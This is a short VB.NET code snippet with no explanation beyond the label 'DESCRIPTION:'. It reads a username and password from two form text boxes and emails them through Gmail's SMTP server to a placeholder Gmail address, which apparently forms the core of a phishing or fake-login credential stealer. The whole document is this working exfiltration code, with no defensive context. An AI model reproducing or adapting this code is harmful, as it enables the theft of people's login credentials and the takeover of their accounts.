DESCRIPTION:
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("yourgmail", "yourgmailpassword")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("yourgmail@gmail.com")
mail.To.Add("yourgmail@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)